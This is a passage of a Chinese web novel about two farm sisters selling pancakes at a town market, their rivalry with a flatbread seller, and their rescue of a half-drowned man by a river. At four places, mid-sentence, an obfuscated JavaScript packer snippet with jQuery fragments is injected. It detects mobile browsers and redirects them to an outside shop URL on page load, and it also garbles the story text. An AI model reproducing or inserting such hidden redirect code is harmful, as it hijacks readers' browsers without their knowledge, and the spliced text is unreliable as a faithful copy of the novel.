比起村口的集市，镇上即便是外围，竞争也激烈得多，摊子摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314419|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得杂，人流又比主街道少。 万小兰的嗓门洪亮，吆喝起来确实吸引了一些客人，但大多问完价就走了。这饼子模样好看，个头却小巧玲珑。同样的价钱，一文半能在旁边买到扎实的烙饼或者实心的馒头。 在这外围集市走动的人，不少都还是图个实惠，像这种精致的新鲜玩意儿，不敢轻易尝试。 她们摊子的位置也不太行，紧挨着一个卖笤帚簸箕的杂货摊，万秋灵想摆一点试吃装都不方便。 看着万秋灵蹙起的眉头，万小兰凑到姐姐耳边，小声安慰：“阿姐，要是真卖不出去，我也能全吃光！”她说完，撕咬了几口空气彰显实力。 万秋灵：“……想吃直说。” 其实她只是被太阳晒得有点蔫头巴脑。这里和村口集市不同，村集市虽然是土路，两边都有树林遮阴。镇集市的外围没有固定的摊位棚子，不收费，但相应的，也失去了遮阴挡阳的便利。 万小兰被戳破心思，扁了扁嘴，刚要卖两句乖，一个声音插了进来： “这卖的是什么？怎么个卖法？” 一个袖口卷到肘部、脸上还带着汗的年轻汉子停下脚步，打量着颜色鲜艳的饼子，满是好奇。 万秋灵打起精神，客气答道：“这位大哥，这是什锦菜饼，一文半一个，三文两个。” “菜饼？”年轻汉子没有像前几个客人那样立刻走开。他仔细看了看：“第一回见这样的菜饼，用啥做的？” “用了鸡蛋、白面、虾米，还有新鲜的时蔬，用油慢慢煎的。”万秋灵答得十分坦然。 虽然面糊里拢共只打了两枚鸡蛋，虾米也只在表面撒了几粒，最多的还是蔬菜丝……但这么说也没问题，只是把不值钱的放最后介绍而已。 汉子听了点点头，似乎对这用料还算满意：“给我来四个。” 开张了！万小兰眼睛一亮，瞬间来了精神，拿起芭蕉叶子，麻利地将阿姐递过来的饼子包好。万秋灵接过客人给的六文钱，收进钱袋子。 不远处，有个卖烙饼的妇人一直观察着万秋灵这边的情况。她烙的饼一文半一个，有碗口那么大，尤其受脚夫力工这些客人的欢迎，从摆摊到现在已经卖出去不少。 她看万秋灵姐妹眼生，吆喝得热闹却一直没人敢买，心里还寻思，不知是谁家的女娃子瞎倒腾，大人也不来个。 那买饼的年轻汉子，本是她的熟客之一，往常来了总要买上两个烙饼。 妇人见他来这边，手里的烙饼都提前包好了，没想到那汉子却停在了那两个丫头的摊子前，问了几句，竟然一口气买了四个！ 烙饼妇人顿时觉得心头一堵，像是自己的东西硬生生被人抢了一块去。不过陆续又有来她这买烙饼的客人，她先把这口气憋了回去，招待着客人。 忙活好一阵，烙饼卖了一半有余，待她得空再看过去，那边的背篓竟然也消下去快一半！ 两家卖饼子挨得近，客人往往只选其中一家买。 新摊子出现不稀奇，可那丫头做的饼模样乖，说得也好听。她盯着那边又一位被吸引过去的熟客，心里头有种说不出来的危机感。 18. 告别村集市 平口镇之所以被称为“镇”，这条途经镇子的河流功不可没。 河水从西边蜿蜒而来，虽不如县里的主河宽阔，也比不上府城的大江奔涌，却滋养着这一方水土。 依着这条河，延伸出许多相关的行当，其中最寻常的便是码头上的搬运工。 “老五，你又跑出去干啥？” 汗水顺着额角流进了眼睛，吴二把头巾取下来重新扎好，正要将一袋沉甸甸的粮食扛上肩，就看见老五从集市的方向跑回来。 他们几个人是在码头上混熟的，按年纪排了序，老五是年纪最小的那个。 老五跑到近前，把手里的东西往吴二眼前一递，煎熟的面饼香味扑面而来。“二哥，吃不吃？”他一路捂着，这会才拆开。 吴二定睛一看，那小饼子两个加起来都不够他塞牙缝的，心想老五还是太年轻，不会过日子，只是道： “又去买零嘴？我啃过干粮了，你赶紧吃吧，吃饱了活儿还重着呢。” 老五“嗯”了一声，也不多话，靠在一边堆放的麻袋上，三两口就把饼子解决了，还有些意犹未尽。 他起先只是买来尝个味，知道吃不饱，特地又买了个馒头填肚子，结果吃完嘴还惦记着那股咸鲜味，忍不住又回去买了两个，想给其他兄弟也尝个味。 吃完菜饼，他把厚实的垫布搭上肩头，快步回到装卸的队伍中。 工头在一旁吆喝、计数，他们采用的是计件法，每从船上扛下一袋货，运到指定的货堆，就能从工头那领到一根竹签。等到了散工的时候，凭竹签换取当日的工钱。 老五年轻，力气却不小，干活也利索。肩膀伤口还有些疼，他调整了一下扛货的使力点，脚步扎实地走向货堆。他腰间系了一个布袋，领的竹签都放在里面。 吴二虽然只排行二，却更像是兄弟里的老大哥。他自己扛着货，偶尔还会帮相邻的伙伴搭把手，稳住货袋。 搬运间隙，货船上两个船工模样的人正倚在船舷边，在低声交谈，老五经过时隐约听到一点。 “上游这几日查得严，扣了好几条船，货都要卸了仔细查……” “不是小事……耽搁……” 他不敢多停留，只模糊听到了“扣船”、“不好走”这些词，又赶紧去扛下一袋。 直到太阳快落山，一群人聚在工头那领了钱，心里踏实下来，就着河水简单洗了把脸。 人群里有人聊起：“最近水路好像不太平。” “我也听到一点，”另一个搬运工接过话头，“卸货的时候听到押运的人嘀咕，说卡得严，行路比往常慢。” “是不是要查什么？” “管他呢，反正船来了就卸货，船不来就歇着。”一个年长的工人语气散漫，“这上头的事，哪是咱们能弄明白的。” 众人七嘴八舌，都讨论不出个所以然，听了年长工人这话，的确是在理。 “不管上头怎么变，别影响我们讨生活就行。” “这几日水势在涨，桃花汛怕是要到咯，可别出什么岔子。” …… 烙饼妇人心里揣着事，一晚上觉都没睡安稳。昨天收摊时，那两个丫头生意也快收尾了，瞧着不剩多少。 她这心里乱糟糟的，天还没亮透，就窸窸窣窣起身，动静惊醒了炕上的男人。 “咋起得这么早？鸡都没叫全乎。”男人嘟囔着，翻了个身。 “你懂个啥？”妇人手脚利索地收拾着东西，“我得去占个好位置！”她想着起码得抢在那俩丫头前头，把摊子支在更显眼的地方。 到了地方，天色尚且有些黑，村里的人大多还在赶路，集市外围只有零星几个同样赶早的摊主。 “欸，这个地儿我先来的。”她迅速占下了心仪的摊位，心下稍安，一边放置东西，一边不时四处张望。 还有一家卖烙饼的也来得早，跟她隔了半个场地，占据另一头的前排。 他们两家一向是分开摆的，不需多说，挨着抢生意也不好看，哪像昨儿那俩丫头，跟她就隔着一个摊位。 等啊等，陆陆续续的，周围都被各类摊子填满了。客人也开始逛早市，叫卖声渐渐嘈杂起来，却始终没看到那两个丫头的身影，就算来了也没位置能挤下。 烙饼妇人彻底松了口气，随即又觉得有些好笑，她和两个半大丫头较什么劲？到底是年轻娃儿，想一出是一出，怕是觉得摆摊辛苦，新鲜劲过了就撂挑子了吧。 不一会儿，她瞅见那个熟悉的年轻汉子又来了。 老五又想买什锦菜饼，他走到昨天万秋灵摆摊的那块地方，却扑了个空。 四处寻了一圈没见着人，他有些失望，呆站了片刻，才往以前常买的烙饼摊子走去。 “小哥，来啦！今天要几个，还是两个吗？刚烙好的，正热乎着呢！”烙饼妇人脸上立马堆起热情的笑，声音都比往常亮了几分。 老五挠挠头：“来两个吧。” 他接过用干荷叶包好的烙饼，付了钱，没多说什么，转身走了。 “慢走，下次再来啊！” 看着他离开的背影，烙饼妇人脸上的笑容更深了：“瞧瞧，还是实在的东西留得住人。” 老五拿着烙饼回到码头，闷头啃着。吴二见他买的是熟悉的烙饼，没乱花钱去买零嘴，拍了拍他的背：“这就对了嘛，吃饱才是正经。” 老五嚼着嘴里的烙饼，心里却还惦记着什锦菜饼的滋味。烙饼扎实，口感粗硬得多，他吃得有些慢。 旁边的老三瞧见了，嗤笑一声：“老五，你至于吗？啥饼不是吃，还挑上了！” 吴二也笑，把带的馒头掰了半个塞过去：“烙饼是干巴了点儿，我这馒头还软和些，凑合吃吧。” “谢二哥。”老五接过馒头，没多辩解。 与此同时，村里的岔路口集市。 又是三天一次赶集的日子，喧闹一如往常，只是细看之下，卖野菜团子的摊子又多了一个，卖炒笋片、焖笋片的也有两家，逐渐形成了竞争。 “哟，妹子，今天这笋子味道不一般啊！”一个熟客蹲在万家姐妹的摊前，咬了一口用竹签戳着的笋片，“比之前的更好吃，酱汁真是绝。” 他注意到递来的野菜团子数量不对，又问：“是不是给我拿错了，这饭团好像多了个小的。” 万秋灵正在给下一个客人打包，闻言抬起头笑笑：“没拿错，大哥。今天是最后一次在这岔路口摆摊子，笋子做的新口味，小的那个饭团是特意送给您这样的熟客尝尝的，多谢一直以来照顾生意。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322313|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “最后一次？不卖了？”客人一愣，有些急，“别呀，我这都吃顺口了！你看现在的笋子正当时，要不你再多卖一阵？” “打算去镇上试试。村里这边以后就不卖了，实在是兼顾不过来。”万秋灵把东西递给等待的食客，也送了个小饭团。 熟客听了，脸上露出惋惜的神色：“那太可惜了，你这一走，往后想吃这口可难了。”那些跟着学的人，炒的笋子不是麻舌头就是味道一般，饭团也捏得松松散散，根本比不了。 万秋灵回答得颇有格局：“现在岔路口卖炒笋子和野菜饭团的不少，大哥以后要是念这口，照顾其他乡亲的生意也是一样的。” 那熟客听了，神色更是复杂，叹道：“你……倒是个敞亮人。” 万小兰也在旁边机灵地补充道：“大哥，以后要是来镇上，记得来我们摊子呀，肯定有新花样！” 石头这次也带了两个兄弟一起过来，正好听到万秋灵她们要去镇上。他忙问道：“妹子，定好在镇上哪儿摆了吗？卖啥？我们哥几个常在镇上走动，说不定能碰上。” 万秋灵答：“位置还没最后定下，打算先卖些饼子试试。” 一旁同样来买东西的村民听了，半是关心半是不看好地说：“镇上生意可不好做，花销也大。要是不好卖，就还回来卖这两样，咱们肯定还捧场。” 万小兰张嘴就要反驳，哪里不好卖，昨天她们可几乎是卖光了！但是阿姐都没开口，她只好又把嘴巴闭了起来。 另一个村民插嘴：“嗐，你会不会说话！应该说，祝妹子在镇上也卖得好！” “对对，肯定能成！” 不少得了小饭团的熟客，纷纷说着鼓励的话。也不光是因为这一个赠送的饭团，要知道这丫头没来岔路口之前，谁把糙米和山笋子卖出了价钱？身上有本事的人，去镇子肯定也混得开。 万秋灵笑道：“那就多谢各位吉言了。” 万小兰还夸张地抱起拳头，挨个致敬，逗得几个客人都大笑。 早早收了摊，姐妹俩脚步轻快地穿过人流，直奔屠户的肉摊子。 “丫头，猪骨头已经没了，要点别的？”屠户看她们背篓是空的，有些惊讶，“这么早就卖完了？” “今儿卖得快。”万秋灵指向架子上悬挂的大条新鲜猪肉，“大叔，来一斤瘦肉，一斤五花肉。” “好嘞！丫头会吃！”屠户朗声应着，挑了两块上好的部位，刀起刀落，利索地称好。 买完肉，万秋灵牵着妹妹去了卖糖的小摊，给她买了块琥珀色的饴糖。 万小兰吃到糖，满足地眯起了眼睛，像只偷到白米的小老鼠。她举起糖，殷勤地往万秋灵嘴边送：“阿姐，甜！” 万秋灵轻轻推回妹妹的手：“我不爱吃太甜的。”这玩意儿何止是甜，简直齁嗓子眼。 不过看万小兰吃得那么沉浸，她不得不承认，甜食确实会让人心情变好。 她回想了一下自己爱吃的甜点，喜欢双皮奶、泡芙、抹茶蛋糕，还爱喝奶茶……或许下次去镇上，可以买点糖水甜羹试试，白糖价贵，摊主舍不得多放，倒是正合她的口味。 万小兰这下是真的相信阿姐不爱吃饴糖了，毕竟阿姐买起肉来都那么干脆大方，赚了钱根本不会亏待自己的！ 19. 葱爆五花肉 赚到钱，第一件事是什么？当然是改善生活！ 周家赔的那点腊肠已经吃完，偶尔能抓鱼煮汤，但肚子里头还是缺油水。这不得买点肉吃，犒劳犒劳一下？不然哪有力气起早贪黑地走远路，万秋灵脚都要磨出茧子了。 新做的什锦菜饼在镇上卖得还不错，一天下来比岔路口摆摊两三次都进账多，虽然不是扣除成本的净利润，但也算可观。 万秋灵当即想好要买猪肉，也提前问了家里人的想法。 她问万老爹要不要再抓一副汤药，万老爹坐在炕头直摆手：“喝那苦汁苦汤，嘴里都苦得没味儿了！还不如多割块肉，吃了肉保管好得更快。” 万老爹人到中年，也是开始叛逆了，伤病稍愈，就听不得“良药苦口利于病”那套。 杜氏看丈夫这样，也不好劝说什么。万老爹的药确实喝了有一段时日，喝得食欲不振，现在伙食有改善，人瞧着倒比之前好许多，气色也恢复了些，吃肉补补也行。 万秋灵问她有什么想要的，杜氏想了半晌，只觉得如今家里有进项，女儿们懂事能干，丈夫也好转，样样都好，啥都不缺。 至于万小兰……根本不用问，给她买块糖就美得找不到北了。 两人继续在集市里逛着，一阵叫卖声钻进耳朵：“竹叶椒，新鲜的竹叶椒！” 万秋灵循着声音找过去，小摊上的确是青红交错的竹叶椒。它与寻常花椒不同，果实更小，味道也会有差别，但总归是麻味的佐料。 香料金贵，寻常人家负担不起，而花椒是十三香之首，可见麻味是很重要的。万秋灵上前问了价，比花椒便宜不少，便称了一些。买回去把竹叶椒晒干，方便储存，可以当花椒的替代品。 等东西置办得差不多了，姐妹俩高高兴兴踏上回村的路。路上遇到的村民，见了她们，都客气地点头打招呼。 “两姊妹回来啦？” “哟，小兰又吃糖呢，你姐真疼你。” 自周大嘴那件事后，村里人对万秋灵的态度明显发生了变化，有些人佩服，有些人忌惮，总归不敢再小觑。 知道她是为了给爹赚药钱才这般带着妹妹奔波，纷纷让自家孩子学着点，怎么别人的娃就那么懂事呢！ 等她们走远了，村民才小声讨论。 “今天回来得挺早，背篓我瞧着还不轻。” “刚不是瞅见了，买了豆腐，还有些山辣椒吧。” “可别让我家丫头看到糖……回头找我要，我就让她也赶集卖东西去！” 实则万小兰此刻的心思，早就不在那块饴糖上了。她脑海里反复回响着阿姐说的：“做个葱爆五花肉。” “葱爆五花肉……”光是念着名字，万小兰就口水直流。她想象着肥瘦相间的肉片在热锅里“刺啦”爆响，混着葱炒，香气扑鼻的画面，心里痒痒得不行。 刚进家门放下背篓，她迫不及待道：“阿姐，既然要爆，我保证把灶火烧得旺旺的，一定爆！” 万秋灵哑然失笑：“急什么，娘还没回来呢，没到做饭的时辰。” “哦……”万小兰坐在凳子上，屁股下仿佛长了钉子。 万秋灵看她那猴急样，无奈道：“你先出去玩会儿吧，找你的小伙伴去，我也歇歇脚。” “那我喊上翠花他们去找果子！”万小兰好了伤疤忘了疼，依旧沉迷找野果，不过长了教训，只走熟悉的山路。 晌午，王家正吃着饭。 一股肉香远远飘来，那香味当真霸道，直往人鼻腔里钻。真是邪了门了！两家说是邻居，那也是隔了小路、围了篱笆墙的。 “这风怎么就专往咱家刮！”墩子娘脸色不怎么好看，自家饭桌清汤寡水，隔壁却吃着好的，这对比实在扎心。 她转头冲二儿子道：“墩子，赶明儿你也去割点肉回来，咱家也开荤！” 墩子闻言连忙答应：“娘，我记着了。我跟秋灵姐说好，明天一块去镇子上，把这些天编的竹篮都卖了。换了钱，正好买肉哩！” 墩子娘刚才被攀比心冲昏了头，脱口而出，现在冷静下来，又心疼那些铜板，家里鸡蛋都还有呢！ 可话一出口，收是收不回来了，只能顺着往下圆，目光瞟向大儿媳隆起的肚子：“买点肉……给你大嫂补补身子。” 王大牛一听娘这话，只觉得娘疼媳妇儿，心里暖烘烘的，立刻对弟弟说：“墩子，卖篮子的钱要是不够，就说出来，让娘再添点。”他想着娘既然开了口，自然是要支钱的。 墩子娘心头一哽，她就是算着墩子卖竹篮的钱换不到多少肉，哪还用得着再添？ 家里的钱都捏在她手里，眼看着大儿媳月份越来越大，请稳婆、坐月子、娃儿落地后的开销……哪样不要钱？能省一点是一点。 她低头假装喝粥，没接话茬。 倒是墩子憨实地点头：“够用的，大哥。” 他上次就留了几文，想买笋片秋灵姐也没收钱，再加上之前攒的，买肉时能凑上。 …… 什锦菜饼的摊子刚支开不久，就有个穿着短褐的年轻汉子过来，开口便问：“昨天咋没来？” 一听就知道昨儿个跑空了。 万秋灵认出他是前日最先买饼的人，歉意地笑了笑：“对不住大哥，家里有事，耽误了一天。您还是要四个吗？今天虾米多放了些。” 老五脸上也带了点笑意，道：“行，老样子！” 有的新客人被吸引过来，驻足观望着，犹豫要不要买。万秋灵拿出准备好的一碟试吃品，每个都切成齐整的小块，饼上插了细竹签——她又找墩子新做了一些。 见状，万小兰扯着嗓子吆喝道：“瞧一瞧看一看，免费试！先尝个味儿，觉得好吃、值这个价，您再买！” 用签子戳着吃，倒是撇脱。小小的饼块一入口，不少人露出满意的神色，尝过了就掏钱购买。 墩子的竹篮摊就挨在旁边，见秋灵姐的饼子卖得好，他打心眼里替她高兴，脸上一直挂着笑。他篮子编得扎实，价格公道，借着她们摊子的人气，也比往日好卖。 他们这边生意好，落在有些人眼里，就不太服气了。 烙饼妇人这次倒是离得远，她位置好，手上忙着烙饼，眼睛还悄悄观察着万秋灵那边。结果那丫头在犄角旮旯的地方也卖得快，还弄出个小块试吃，吸引更多人围过去。 “净整些虚头巴脑的。”她低声嘀咕，心里却琢磨着，这个试吃也算有点门道，吃着好，自然就抹不开面子不买。 可她这烙饼厚实，小签子哪戳得动？要不……弄双干净筷子，总比掰一角给人试要强。 饼子卖得七七八八，万秋灵把摊子交给妹妹，拜托墩子帮着照看，自己拿了个布袋和小背篓，准备先探探路。 她想找个固定的摊位。每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331531|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天在集市外抢地方，位置没有保障，不适合长期做生意。但固定摊位也不那么好找，不是随时都有空出来的。 万秋灵心里大致有个意向，之前在镇上闲逛时就看中了梅花桥那条街。 主街最热闹，摊位费必然昂贵，小本生意暂时挤不进去。梅花桥街连着主街的岔路，人流还算稳定，还有关键的一点，街上卖吃食的摊贩和店铺居多，有点“小吃一条街”的意思。不同小吃之间，除了竞争也会相互引流。 她脚步加快，先在梅花桥街上走了一圈，街道分南北两段，由梅花桥相连，中间隔了条小溪流。 摊位沿岸边分布，有的摊位是两家拼的，一家早市一家午市，有些摊位则是上下午都开。她注意到有个早上卖油条的摊子，这会儿变成了果脯。 万秋灵寻了一位卖甜汤的老婆婆打听，经过指点，在街尾处的小屋里找到了负责梅花桥街摊位租赁的管事，是一个留着山羊胡子的中年人，姓胡。 万秋灵说明来意，胡管事捻着胡须，眼皮子都没抬：“固定摊位？眼下没空余的，等着吧，有了自会张榜告知。” 这答案在意料之中，万秋灵问完了也不纠结，礼貌谢过，打算下次再来问。 她绕路到粮食铺称了些白米，家里糙米还剩些，可以掺着吃。 回到集市外围，万小兰已经把剩下的饼子都卖完了，正和墩子一起眼巴巴地等她，见姐姐回来，万小兰献宝似的把钱袋子递上。 墩子一脸兴奋地表示：“秋灵姐，我也卖完了，我得去趟肉摊割肉！” 墩子把身上所有的钱都掏出来，仔细挑了一块肥瘦适宜的猪肉，虽然只有小两斤，却让他宝贝得不行。 回程路上他难得话多起来，叽叽喳喳的，核心思想就是：他要多编篮子，多卖钱换肉吃！ “我娘说得对，大嫂要补身子，栓子和翠花也正在长个儿，是该多吃点好的！” 万秋灵深以为然，谁不希望想吃啥就能买啥？这朴素的愿望，同样也是她的动力来源。搞钱，赚钱，才能够实现目标。 这股劲头促使她回到家后没像往常那样歇息。趁天黑还有段时间，万秋灵难得积极要去捞河虾，还不忘薅上万小兰。 她们经常捞虾的地方在一处偏僻的河湾，水草丰茂，是小虾藏身的好去处。 正忙碌着，万秋灵忽然瞥见一处低洼的湿地里，长着一丛丛茎杆细长的植物。 “居然有野芹菜！” 这东西喜欢长在洼地或者水沟中，风味不输给家种的芹菜。除了炒着吃，切成碎丁掺到什锦菜饼里似乎也不错。 “阿姐，是水芹吗？”万小兰瞧着眼熟。 “对，我们摘点。” 万秋灵先走过去，小心地采摘了几株，只掐取嫩的茎杆部分，把根部保留，这样野芹菜明年还能继续长出来。 还是用刀收割更快，她想了想，对妹妹道：“小兰，你回去再拿个镰刀和篮子来。” 万小兰应了声，拎着装虾米的小筐先离开了。 万秋灵顺着河沿摘了一小把，目光无意间扫过岸边茂密的野草丛。一抹极不协调的暗沉黑色，突兀地映入眼帘。 似乎是一截布料，被野草半掩着。 万秋灵动作顿了顿，心头莫名一跳。她迟疑了一下，拨开挡在前面的草茎，探头看去………不，不是一截布料。 那是一个人。 20. 救回男子 万秋灵拨开那些肆意疯长的荒草，草叶遮掩下，赫然是一个人影。 准确的说，是一个男子。 他身形十分高大，半蜷着身体倒在杂草和石堆之间，一动不动，头发凌乱地糊在脸颊和颈侧。从头到脚都湿漉漉的，黑色衣服紧紧贴在身上，还沾着不少水草和黑黄色泥浆。 见鬼！万秋灵呼吸一滞，深刻体会到了钓鱼佬开盲盒时的心情。难道撞见了凶案现场，有人抛尸在这？或者是意外失足落了水，可又为什么会出现在岸边？ 一瞬间，脑海里闪过无数不好的猜测，她稍微定了定神，开始仔细观察男子四周。 河岸上，除了她一路踩出来的浅浅鞋印，并没有其他人的足迹，也没有拖拽或挣扎留下的凌乱印记，倒是边缘带着明显的河水冲刷的痕迹。 看起来他更像是不知在何处落水，被水流冲下来，搁浅到了此处。 春汛将近，这几日，河水确实在悄然上涨，水流也比往日要急了些，这儿恰好是河水冲刷形成的碎石浅滩。 暮色正在缓缓地沁染天空，四周静悄悄的，只有河水流淌的哗哗声，以及偶尔风吹过草丛的沙沙声响。 浣衣洗菜的妇人们早已归家，万小兰拿东西还没回来……只剩下她，和地上的人。 立刻去找里正，这是最稳妥的办法，也是她之前提醒墩子时说过的话：向大人求助。理智如此，可脚却像是被钉在原地，该死的好奇心和一股说不清道不明的冲动涌了上来，完全不像平日的她。 她甚至有一种直觉，应该过去看看。要不然……先确认一下这人的状态，说不定还能抢救抢救，去找里正时，也好说清楚情况。 做好决定，万秋灵在附近捡了根树枝握在手里，安慰自己，怕什么？不过是个不知死活的人罢了！想想那些钓到神秘行李箱的钓鱼佬…… 她壮起胆子，往男子那靠近了几步，屏住呼吸，凝神细看，发现那人的胸膛正在微弱地上下起伏着！ 提起来的心瞬间落回去大半，还好还好，是活的。 她蹲下身，小心地伸出树枝，拨开糊在他脸上的头发以及水草，让他的口鼻完全露出来，能够通畅呼吸。 拨开遮挡她才发现，这人竟生得一副极好的相貌，而且很年轻。只是他面色十分苍白，唇无血色，状态并不乐观。 当务之急是救人。万秋灵努力回忆着稀薄的急救知识，先清理了一番男子的口鼻，确保没有泥沙水草等异物堵塞呼吸，而后费力地将男子的身躯放平，仰面躺着。 整个过程中，男子都没有丝毫的反应。 不管了，死马当活马医吧！万秋灵按照胸外按压的要点，双手交叠，找准胸腔正中。 手掌才挨上去，就感觉触到了一块坚硬扁平的物体，正好卡在胸骨的位置。 “得罪了。”她低声道，也顾不得其他，伸手探进男子湿透的衣襟内摸索，指尖很快碰到了那个硬物，将它取了出来。 是一块腰牌，质地坚硬，像是牛角或者某种兽骨打磨而成，上面清晰地刻着几个字：麒岭序锦庄。 序锦庄……听起来像是商号或者某种机构。幸好她把东西拿出来了，方才要是直接用力按，有这硬物硌着，说不定会把胸骨按出个坑，直接将人救得驾鹤西去。 万秋灵长舒了一口气，把腰牌放到一边，重新叠好手势，刚用力向下按压了一组—— 一只冰冷的手，猝然攥住了她的右手腕！ 她吓得险些尖叫出声，被那只手冰到，胳膊上的鸡皮疙瘩噌噌往外冒。 万秋灵定睛看去，男子依旧紧闭着双眼，眉头微蹙，似乎仍在昏迷与清醒的边缘挣扎，手却牢牢地扣住她。 男子先是呛咳了好几声，睫毛颤动，缓缓睁开眼睛。 他的瞳孔颜色很深，浓黑如墨，眼眸一开始有些迷蒙，很快便凝聚起来，直直望向近在咫尺的少女。 四目相对，万秋灵最先有所反应，问他：“你醒了，感觉如何？我去找里正，让他喊人手过来，你先松开。” 男子静静地望着她，没理会她的话，也没松开手。少顷，他喉结上下滚动了一下，声音沙哑低沉，开口道：“带我回去。” 万秋灵困惑地眨了眨眼。 “回去，回哪儿去？”又想起那块腰牌上的字，麒岭似乎是一个县名，恍然大悟，“你要回县城？那离我们村子挺远的，你这样子得找人帮忙才行。” 谁知他极其轻微地摇了摇头，一字一顿，语气坚定道：“不。是和你，回去。” 万秋灵：“……？”这人是不是脑子进了水，或者意识还没清醒。 “这位……公子，这不合适，还是容我先去喊里正吧！而且你可能受了伤，托人送去医馆最好。”她一边说，一边试图把手腕挣脱出来。 然而，男子的态度异常坚决，手上甚至加重了力道，不允许她离开。 他气息不稳，声音竭力维持着清晰：“不能找里正，不必……送我回县里。”停顿了一下，又重复，“跟你回家。” 真是个怪人，不想惊动里正，宁愿跟一个陌生农女回家。男子眉宇间即使带着病态，也掩不住一种惯有的疏离感，定非乡野之人。或许是身份敏感，不欲人知？ 烫手山芋啊……万秋灵思考着该如何委婉表达拒绝，譬如：家里有卧病的爹，有柔弱的娘和年幼的小妹，实在经不起任何风浪。 就在她组织语言时，男子再次开口，字字清晰地传进她耳中。 “姑娘若答应，必有重酬。” 但是话又说回来了，救人一命胜造七级浮屠。万秋灵重新审视起眼前的人，他身上的衣裳虽有污浊，却仍然能看出质地精良，还有那块雕刻精细的腰牌，都不是寻常人能有的东西。 这人少则小有财力，多则富贵，指不定还有点人脉，因此他的这句承诺，不像信口胡诌。 万秋灵心念一动，正愁做生意本钱难攒，没想到刚打瞌睡就有人递枕头。 难怪她刚才鬼使神差地想过来看看，一点也不符合谨慎的作风，原来不是好奇心害死猫，是财运……呃，一桩善缘。 诱惑很大，但同时伴随风险，她斟酌着语气：“并非我不愿帮忙，我家只是普通的农户，我怕招待不周，也怕……”也怕为了眼前之利，带来不必要的麻烦。 男子明白了她的顾虑，眼神缓和不少：“姑娘放心，只是暂避，你家不会有危险。” 他声音比刚才更哑，歇了片刻又补充：“我是麒岭县的绸缎商人，路上遇到匪徒袭击，不慎落水。身份凭证可予你一观。”说着，伸出另一只手，有些吃力地试图探入衣襟寻找。真不知道他攥住人手腕的力气哪来的，到现在还没撒开。 万秋灵这时才想起刚刚掏出来一块腰牌，她从地上拾起，问：“你说的凭证，不会是这个吧？” 男子的动作僵住，望着她手里的腰牌，沉默了。 万秋灵也沉默了。 以对方的视角来看，她先是趁人昏迷，掏兜摸出腰牌，又伸手压住他的胸膛……偷窃加上非礼？误会好像有点大。 “放开我阿姐！” 一声怒喝传来，打破了这边尴尬的氛围。 万秋灵扭过头，只见万小兰不知何时回来了，小脸绷得紧紧的，手里正握着一把旧镰刀，对准了男子。 “小兰，那个……”万秋灵刚想解释两句，手腕忽地一松。 她低头去瞧，男子眼睛已经闭上，头无力地偏向一侧，又晕了过去。 万小兰赶紧丢掉镰刀跑过来，又急又气地问：“阿姐，他是谁呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340336|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？为什么抓着你不放，是不是坏人？” 这要怎么解释呢？万秋灵揉了揉留下一圈红痕的手腕。 “嗯……大概就是捡到一个，非要住进咱家‘客栈’，还声称会给很多房钱的古怪客人吧。” …… 段渊再次苏醒的时候，映入眼帘的是用木头和茅草搭建的低矮屋顶，身下是干燥的稻草堆。 视线稍移，劈好的木柴码在角落，几样锄头耙子之类的农具靠墙放着，还有一些杂物。一个简陋的竹编笼子里，几只黄色小鸡仔挤来挤去，不时发出叫声。 正对着他的小木凳上，坐了一个小丫头，眼睛瞪得溜圆，一眨不眨地盯着他。小丫头的脚边，还放着一把熟悉的旧镰刀。 ……他虽刚恢复清明，但这点威胁对他而言也几近于无。 “你阿姐呢？”他喉咙发紧，声音依旧沙哑。 万小兰抿了抿唇，并不回答他的问题，想起阿姐的嘱咐，只道：“阿姐让我盯住你！” 虽然原话是看好他，至于怎么个看好法，阿姐没说。 见他醒了，万小兰心有戒备，但还是问：“早饭有饼子，还有熬好的杂粮粥，温在灶上，你要不要吃？” 